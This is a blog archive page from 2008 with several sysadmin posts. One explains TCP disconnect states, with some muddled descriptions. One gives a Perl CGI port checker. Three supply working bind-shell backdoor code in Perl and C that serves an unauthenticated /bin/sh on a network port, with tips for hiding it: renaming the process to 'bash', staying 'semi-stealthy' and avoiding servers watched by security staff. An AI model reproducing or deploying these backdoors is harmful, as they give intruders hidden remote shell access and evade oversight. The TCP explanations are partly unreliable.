Showing posts with label socket. Show all posts
Showing posts with label socket. Show all posts

Wednesday, December 3, 2008

Analyzing TCP Disconnects On Linux Or Unix

Hey there,

To most users of Linux and/or Unix (or pretty much any other OS with networking capabilities), the most basic concepts of the TCP and UDP protocols are, at least, somewhat familiar. At the very worst, you've heard of them and, at the very best, you have an insanely detailed fingernail grip on everything TCP/UDP-protocol related and have probably written your own protocol by now so you won't have to deal with all this convention ;)

For the most part, everyone falls somewhere in between. One question that I get asked a lot (and used to ask a lot ;) has to do with the TCP protocol. More specifically, with how an established connection goes about graciously ending. And, if you haven't guessed, the reason the question gets asked so often is that, with all the different states a graceful TCP disconnect goes through, lots of folks (involved in troubleshooting) are curious as to whether the output they're pouring over is "good" or "bad." We'll pretend, for the remainder of this post that the world is black-and-white, cut-and-dry and everything makes sense (and works the way it should) all the time ;)

Since we've never actually covered this topic on this blog before, it makes the most sense (to me, anyway) to lay down the basics of a graceful TCP disconnect. If there's interest (On your end or mine ;), we may follow up with further posts that delve into more detail on the subject. This, of course, means that the typical sequence of events laid out below isn't necessarily how things are always going to go (there are slight differences between Active and Passive disconnects, for one of more than a few instances). For now, we'll stick to the nitty-gritty.

The gracious TCP disconnect, in as much order as I could make of it. The way it's "supposed" to work. This information is only as reliable as your circumstances :) Note that all examples for this post are from Solaris 10 and your explicit command names (like netstat) may vary or have slightly different arguments you need to pass them. Also, we'll note some ways that the TCP disconnect can occur that are technically correct, but "unlike" the step-by-step process listed below and generally big pains in the arse.

Also, and this point is so important I'm giving it its own line ;), it helps to remember that, although a proper TCP "connection" can only be established in one way (the infamous "Three Way Handshake"), the same is not true of a TCP "disconnect." TCP (Over Ethernet, to be precise) is duplexed, which means that it consists of two flows of data; one flowing in either direction simultaneously. Since all TCP requests have to be acknowledged (unless you're just pulling the plug ;) a TCP disconnect is a 4-Way process. Or, more correctly, a 4 "step" process.

Since we're only dealing with the TCP disconnect, we're going to start in the middle of a TCP session. For a given established TCP connection, you'd see something like the following in the output of "netstat -an" (For this entire post, the only really important column in your netstat output will be the one to the far right - from this point on, we'll just deal with that column, to save on space - this post is going over 1200 words as it is) - This status would be the same for both machines, assuming they were engaged in a mutually-agreed-upon TCP network transaction.

TCP4 0 48 192.99.99.99.22 10.99.99.99.34406 ESTABLISHED


There are basically only two kinds of TCP disconnects: The Active disconnect and the Passive disconnect.

Each one is fairly simple to draw up (see Wikipedia's TCP Page for some actual pictures ...or graphs), and, for each, we'll show the netstat status you'll note during your troubleshooting work, so that you can be reasonably sure what point your process is at in the TCP disconnect sequence (we're assuming, as usual, that the disconnect you're looking at is bad and someone - responsible in some way for signing your paycheck - is demanding answers ;)

1. FIN_WAIT_1: At this point the serving host has decided to terminate the connection (textbook Active Disconnection) and sends a FIN packet to the client host.

2. FIN_WAIT_2: Then the client sends back an ACK (acknowledgement) packet to confirm that it has received the server's FIN packet.

3. TIME_WAIT: This generally occurs when the client responds with its own FIN packet (Sometimes this state will show up as FIN_ACK)

4. CLOSED: This is a two-parter: In an Active disconnect scenario, this state indicates that the server has acknowledged the client's ACK of its original FIN packet by sending an ACK back to the client indicating that it received the client's FIN packet and has agreed to the termination of the TCP session (I couldn't make that sentence any less confusing and dubious if I tried ;) In a Passive Disconnect scenario, this state indicates that the session is over for approximately the exact same reasons except almost in reverse, since the classic Passive Disconnect has the client initiating the disconnection rather than the server and the final step is the client sending the final ACK and, usually, doing the connection cleanup.

5. CLOSE_WAIT: To summarize right through the first 2 (reversed) points above, in a Passive Disconnect, this state is the result of the client sending a FIN packet to the server (initiating the disconnect), to which the server responds by returning a FIN packet, to which the client application responds with an ACK of the server's FIN.

6. LAST_ACK: Here, the client cleans up, and terminates the connection; sending a FIN packet to the server.

Hopefully this didn't all come out wrong. I have to troubleshoot this stuff a lot, but writing about it has me now doubting whether I'm awake or asleep ;)

Here a few helpful tips to take home with you:

1. Generally, if you see a lot of sockets stuck in FIN_WAIT/FIN_WAIT_1 (and especially) FIN_WAIT_2, you should start your stopwatch or note the time on the clock and wait for about 300 to 600 seconds (the old default of double the maximum round trip time (RTT) - or 4 times the keepalive time - isn't always correct anymore). You can usually figure the maximum time you should be waiting in this state by multiplying your kernel variable for the maximum keepalive time by the maximum number of keepalive retries. On a lot of systems these values are tunable, and (if you're running a high volume website, for instance) you might want to look into reducing one, or both, of these, if necessary. If your kernel has a FIN_WAIT_2 timer variable, just tune that. Otherwise, if these last longer, you can fix the problem by doing everything from figuring out what process ID's are associated with what connected/hung network ports and terminating those, stopping and starting your network application or going all the way up to a full reboot of your physical system.

2. If you see a lot of CLOSE_WAIT sockets languishing around, you can be almost fully assured that the issue is on the application end. Usually, if a TCP application doesn't send the final, required, FIN packet, after finishing the connection cleanup, cleans up the connection but never sends the final FIN packet, or both, you'll end up in this condition (yet another monstrosity of a sentence). Your options are relatively the same.

I'm going to go untwist my brain into the pretzel it was before I started writing this ;)

Cheers,

, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, June 18, 2008

Pinging And Checking Port Status With Perl CGI On Linux And Unix

Greetings,

To change things up a bit today, we're going to go back to some Perl scripting. It seems like it's been a while, but that may just be my distorted sense of space and time. In any event, since this blog covers many many things related to Linux and Unix (which my probable life-span wouldn't allow me to script out or write about ;), today seems a good a day as any to get back to putting out some script work.

Today's Perl script is very simply written and, although a bit lengthy, fairly limited in what it does. Of course, it should also be fairly simple to expand upon and make do much more work than would normally be commensurate with a general breakdown of the keystroke/output-usefulness ratio.

This script closely echoes previous scripts we put out to check on web server status and check on network server port-health insofar as the end result is concerned. It should run fairly simply, too (you'll probably just need to change the target host, target port and, possibly, the location of the ping command, and its arguments, to suit your taste - or have those all fed to the script from the command line using the @ARGV array):

host # ./portpinger.pl

This version, however, is a bit more complex (or convoluted, depending on how you look at it ;) to highlight a few other concept-based posts that we've put out in the interim. For instance, this Perl script (while it's not absolutely necessary, given the abundance of variable names we could have used to get-around) makes use of variable scoping within subroutines. This is something, actually, that we're building toward in our ever-expanding series on porting code between shell, Perl and awk. And the final thing we highlight, somewhat, in this particular script (that my green-screen-addled brain can still discern ;) is signal trapping and handling with Perl.

Whether or not you have any use for it, I hope you can find something in its over-production that sparks some interest or gets you thinking more about the many different ways you can use Perl to do many different things. Basically, this script does a ping, a port check and then puts up a CGI web page. But, sometimes, the lessons (good or bad) are found more in the context than in the message :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# portpinger.pl - Ping a Port and Check Another One Just for kicks.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
use CGI;

$socketpinger = new CGI;
$pingee = "www.xyz.com";
system("ping $pingee 1 1 2>/dev/null 1>/dev/null");
$pingyn = $? >> 8;

print $socketpinger->header();
print "<html><head><title>Caps Checker</title></head>\n";
print "<body>\n";
if ( $pingyn ) {
print "<center><h3>Result of ping to $pingee:</3></center> <center><h2>N
o Answer</h2></center>\n";
} else {
print "<center><h3>Result of ping to $pingee:</h3></center> <center><h2>
$pingee is alive!</h2></center>\n";
}

print "<center><h3>Result of tcp connect to port 443:</h3></center>\n";
&checkhost($pingee,443);

print $socketpinger->end_html();
sub Timer { die "Alarm Clock\n"; }

sub checkhost {
local($host,$port) = @_;
local($t,$cnt,@var,$ip,$down);
undef @fdata;
$AF_INET=2; $PF_INET=$AF_INET; $SOCK_STREAM=1; $IPPROTO_TCP=6;
$sockaddr = 'S n a4 x8';
($t,$t,$t,$t,@var) = gethostbyname($host);
$ip = $var[0];

$down = 0;
$this = pack($sockaddr, $AF_INET, 0, "\0\0\0\0");
$serveraddr = pack($sockaddr, $AF_INET, $port, $ip);
eval 'socket(RS, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP)|| die "socket: $!"';
if ($@) {
$SOCK_STREAM=2;
socket(RS, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die print "socket: $
!";
}
bind(RS, $this) || ($down = 1);
if ($down) {
print "<center><h2>$host at port $port is down.</h2></center>\n";
shutdown(RS,2);
close(RS);
return;
}
$SIG{'ALRM'} = 'Timer';
eval {
alarm(5);
connect(RS, $serveraddr) || die ($down = 1);
};
alarm(0);
if ($down || $@ =~ /Alarm Clock/) {
print "<center><h2>$host at port $port is down.</h2></center>\n";
shutdown(RS,2);
close(RS);
return;
}
$up[$num] = 1;
print "<center><h2>Connection to $host at port $port successful.</h2></cente
r>\n";
shutdown(RS,2);
close(RS);
}

, Mike

Friday, April 11, 2008

Perl Script To Run A Linux Or Unix Shell On A Network Port

Hey again,

Today, we're following up on the promise we made in this Monday's post on running a Linux or Unix shell on a network socket and bringing you that same functionality in a Perl script. No more mucking with C code or C compilers, but the program is, of course, slightly different (slightly better in some ways, slightly not-better in others ;)

You might also check back on our follow up to the original "network port shell" post, by looking at the usage help we posted, if you run into any funky terminal I/O issues. But this script, and the sockets/shell implementation is a bit smoother and more accessible.

The script can be run easily from the command line, like this:

host # ./shell.pl 45778 <--- The port you pick is arbitrary but should be unused, and over 1024 if you are a regular user

You'll probably want to comment out the first 4 lines of code that do the error checking on the command line and just define your port within the script. That way, when you run it, it won't look quite so obvious that you're running an interactive login shell on a random port. For instance, this is how it would look normally, in ps output:

host # ps -ef|grep shell
user51 8427 1 0 14:49 ? 00:00:00 /usr/bin/perl ./shell.pl


If you make that slight modification (and maybe rename the program to "sh," or "bash" or something else that normally has a ton of listings in the ps table output), you're less likely to be noticed:

host # ps -ef|grep bash
user99 28727 28726 0 10:27 pts/3 00:00:00 -bash
user51 11251 11250 0 13:50 pts/2 00:00:00 ./bash
user00 15595 15153 0 13:54 pts/1 00:00:00 -bash


In the above example, it's kind of obvious which process is yours, but mixed in with 20 or 30 other regular users and all their processes, that might get missed. This is all for your convenience and lack of hassle, of course. We're assuming you're not going to be using this to do anything "wrong." That just wouldn't be "right." :)

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

Now, with this Perl script you'll notice two things. The first is that you won't have the "huge" problems the original C program had with input and output. For instance, this is what it will look like the first time you connect (the double PS1 prompts actually show up that way) :

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh: no job control in this shell
host # id
uid=0(root) gid=0(root) groups=0(root)
host # host # ls
file1
file2
file3
host # host # pwd
/root
host # host # exit
<--- This won't work because it's not really a "tty"
^]
telnet> q
Connection closed.
host # id
uid=501(user51) gid=501(user51) groups=501(user51)


You'll notice, just like before, that the shell on the socket runs as the user who kicked it off, so, even though we accessed it as a non-privileged user, we got a root shell without having to login. Be very careful if you leave this up for convenience as it can become a big problem for you if someone mischievous finds it :)

The second thing I wanted to you to notice (ok, technically, the third ;) is that the shell doesn't get spawned every other Telnet connection. For some reason (the initial disconnect, Perl's functionality or my programming skills) the shell only starts up every other time you connect. For instance, if you disconnect and reconnect, you'll get this:

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


And no output. Just do the normal Telnet quit:

^]
telnet> q
Connection closed.


And connect again. The shell will come up like it did the first time. I'm convinced I may know what the problem is, but have no more time to work on it right now, but I also found that there's a benefit to it working this way. That is to say, when you get done, if you want to keep the shell running on the port and remain semi-stealthy, just don't connect again. Then, if anyone finds it, they'll connect to a seemingly dead port and either forget about it or kill the PID associated with the connection. Either way, the next time you need it, you'll know, even if you get no response, you just need to quit your Telnet session and reconnect to get the shell back up.

Enjoy, stay safe and have a great weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# shell.pl - run a shell on a network socket
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 0 ) {
print "Usage: $0 PortNumber\n";
exit(1);
}

use Socket;
use POSIX;

$port = $ARGV[0];
$host = "localhost";
$protocol = "tcp";

if ( $port =~ /\D/) {
$port = getservbyname($port, $protocol) || die "getservbyname ${port}/$protocol\n";;
}
$inet_address = inet_aton($host) || die "inet_aton: ${host}\n";
$port_address = sockaddr_in($port, $inet_address);
$protocol_num = getprotobyname('$protocol');

$| = 1;

socket(SOCKET, AF_INET, SOCK_STREAM, $protocol_num) || die "socket: $!";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR,1) || die "setsockopt: $!\n";
bind(SOCKET, $port_address) || die "bind: $!\n";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

close(STDIN);
close(STDOUT);
close(STDERR);
setpgrp();
$SIG{HUP} = "IGNORE";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

$lsock = listen(SOCKET, 5) || die "listen $!\n";

while (1) {
$shell_shock=accept(NEWSOCKET, SOCKET)|| die "accept $!\n";
dup2(STDIN,0);
dup2(STDOUT,1);
dup2(STDERR,2);
system("/bin/sh -i");
close($shell_shock);
}
close(SOCKET);
exit;


, Mike




Tuesday, April 8, 2008

Usage And Compile Help For Linux/Unix Network Port Shell Program

Hey there,

Today's post is a follow up to yesterday's post on running a shell on a network socket. There are a few notes we'd like to add regarding compilation and usage, once you've got the program up and running on your Linux or Unix server.

First, the compile time note. Additional testing on other flavors of Linux showed that neither:

#include <sys/byteorder.h>

nor

#include <sys/endian.h>

worked on all systems :( We did find that this Linux "include" seems to work as a handy substitute for either:

#include <linux/byteorder/generic.h>

Of course, if none of these options work for you, we put comments in the code that name the functions and/or declarations that we're trying to grab from each of the includes. So, if you still find yourself in a pickle after trying all 3 of these include statements, you can probably find the correct include (.h header file) by typing the following at your command prompt:

host # find /usr/include |xargs egrep 'htons|htonl' /dev/null

It may be a bit tricky trying to find the correct include file, but it will probably have a name very similar to the 3 noted above.

Now, on to the fun stuff: Usage :)

To get this out of the way, if you've compiled and used the program to run a Linux or Unix shell on a network socket, you've probably noticed that the input and output don't behave exactly as you would expect in a regular shell.

Note that this line in the code:

execl("/bin/sh","sh",(char *)0);

was originally attempted in the following two manners (to try and force an interactive shell):

execl("/bin/sh","sh","-i",NULL); <--- Socket would connect, but then it would disconnect you immediately
execl("/bin/sh","sh","-i",(char *)0); <--- Socket would connect, and it wouldn't look ugly, but it wouldn't do anything else either (and we made sure it wasn't just an issue with echo by touching some files and verifying that they never got "touched" ;)

When all was said and done, this was the quickest, and dirtiest, way we could get the shell to answer on the network socket and be truly interactive. However, as mentioned above, it doesn't quite behave the way you might assume. Even shell built-in's don't work correctly for the most part, like in this mini-run-through:

host # ls
. .. netsock netsock.c
host # ./netsock
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
ls
: command not found
pwd
: command not found
id
: command not found
echo
: command not found


Yet, strangely enough, "echo," with arguments, works (???):

echo hi
hi


although "eval" doesn't work, straight up:

eval ls
: command not found


Now, we can start to have some fun :) Using the backtick operators to execute an "eval" statement and echoing that, we can actually do something, and get confirmation back on our terminal!:

echo `eval ls`
netsock netsock.c
<--- This will always pump the output out on one line, so if you have a lot of files in your directory, you'll get back a long long line.
echo `eval pwd`
/export/user/bin
echo `eval id`
uid=0(root) gid=0(root) groups=0(root)
<--- This will be your PID if you started the program, which may be good enough if you just need to get in and do something that doesn't require privilege. Note that this program runs the shell on the socket under the UID and GID of the user that invokes it (or their effective UID and GID at that time)
echo `eval touch TOUCHY`
<--- We'll touch something, just to see if it works. Of course, we get no terminal response to indicate success, but that's normal since we don't have a prompt to return to.

Now, if we disconnect from the Telnet connection and do an ls, we should have an extra file waiting for us:

^]
telnet> q
Connection closed.
host # ls
. .. netsock netsock.c TOUCHY


Good deal :) Now we'll write a simple script and see if we can execute it from the shell attached to the network port. If this works, it'll be much easier to stage work for the future:

host # vi test.sh
host # chmod 700 test.sh
host # cat test.sh
mkdir a
cd a
touch file
echo "ALL SET"
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
echo `eval ./test.sh`
ALL SET


And we get the output we expected! Just need to disconnect from Telnet again and check to make sure it actually did everything it was supposed to, and not just run the echo statement.

^]
telnet> q
Connection closed.
host # ls
. .. netsock netsock.c TOUCHY
a
host # ls a
. .. file


Success! Here's hoping this "how to" and compilation-assistance post helps you get more out of this program. If you haven't got the code already, please check out our post on running a shell on a network socket and have a blast!

Just, please, be considerate of others :)

Best wishes,

, Mike




Monday, April 7, 2008

Running A Linux Or Unix Shell On A Network Socket

Hey There,

Thought we'd start the week off with something interesting and off the administrative path. Today's post is c code that can be compiled simply, using GCC (or your favorite compiler), like so:

host # gcc -o netsock -o netsock.c

and works, at a basic level, by creating a socket (much like our earlier posts on ethically scanning ports), calling a bind operation on it and then duplicating the already existing file descriptors (which allows you to use it interactively, utilizing the server's most basic shell).

One note should be made that, depending upon how your terminal, or server, deals with stty's echo variations, you may have to be creative and "type in the dark" to get results back once you connect. Lots of socket and/or terminal I/O issues are possible and, on several machines I've tested this on, I had to be a little clever to get the shell to respond correctly. You'll see what I mean ;)

Some of this code was written by me today, some of it was written by me previously and ripped from older programs and some was collected by me over the years in helpful examples from other folks, but I think the outcome (maybe due to these facts) is fairly unique. I only wish I could give credit to the people who wrote some of the snippets of code I have on my hard drive. If you're out there and can recognize your contribution within this program: Thank you :)

This code may require some modification depending upon where your server's include files are. This was compiled and tested on an older Solaris 2.6 box. Unfortunately, this sort of activity is too high profile to test on any of our more recent machines, since the security department is always looking for signs of an attack on the newer (and production) servers.

During compile time, if you get an error like this:

sys/byteorder.h: No Such File Or Directory

You can fix that by changing that include line from:

#include <sys/byteorder.h>

to

#include <sys/endian.h>

and another common error - " error: too few arguments to function `setpgrp'"

can be remedied by changing:

setpgrp();

to:

setpgrp(getpid(),0);

or:

setpgrp(getpid(),getpid()); <--- If you're not root and going to run this on a port higher than 1024.

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
^]


This, of course, is being published to demonstrate a principle (much like our older post on generating every possible password in a shadow file), but it could be used for more "counter-productive" reasons ;) Ethically, again, I can't recommend that you use this for any reason other than to say you did it and have a little good honest fun :) Note that the "port" defined near the top of the code is arbitrary. I try to pick one that doesn't get used very often. No sense in running this on port 80 on a web server, since a back door shouldn't be too obvious, by definition ;)

In a future post, I'll port this to Perl (I won't be porting this one to shell script, since direct socket manipulation is almost never done at that level - at least, I've never seen it. ...possible extra future post? ;)

For those of you are into doing the porting thing yourselves, checking out our previous posts on checking whether your web server is up and forked socket scripting in Perl should point you in the right direction. I think everything you'll need is in those two posts except for the file descriptor duplication (dup2) functionality.

Enjoy! Hope your week is starting off well and be careful :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

/*****************************************************
* netsock.c - Open up a shell on a network socket
*
* 2008 - Mike Golvach - eggi@comcast.net
*
*Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*****************************************************/
#define PORT 40236
#include <netdb.h> // gethostbyname
#include <signal.h> // sigignore
#include <stdio.h> // printf, sizeof, fputs, close
#include <stdlib.h> // exit
#include <strings.h> // bzero, strlen
#include <unistd.h> // fork, read, write
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // sockaddr_in
#include <sys/byteorder.h> // htons, htonl
#include <sys/socket.h> // socket, bind, connect, listen, accept, sockaddr
#include <sys/uio.h> // recv

oops(char *message)
{
perror(message);
exit(1);
}

int socket_des, socket_cli, socket_rc, socket_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;

int main ()
{
socket_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socket_des == -1) exit(-1);

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
socket_rc = bind(socket_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (socket_rc != 0) exit(-1);

if (fork() != 0) exit(0);

setpgrp();
signal(SIGHUP, SIG_IGN);

if (fork() != 0) exit(0);

socket_rc = listen(socket_des, 5);
if (socket_rc != 0) exit(0);

while (1) {
socket_len = sizeof(client_addr);
socket_cli = accept(socket_des, (struct sockaddr *) &client_addr, &socket_len);
if (socket_cli < 0) exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0) {
dup2(socket_cli,0);
dup2(socket_cli,1);
dup2(socket_cli,2);
execl("/bin/sh","sh",(char *)0);
close(socket_cli);
exit(0); }

close(socket_cli);
}

}


, Mike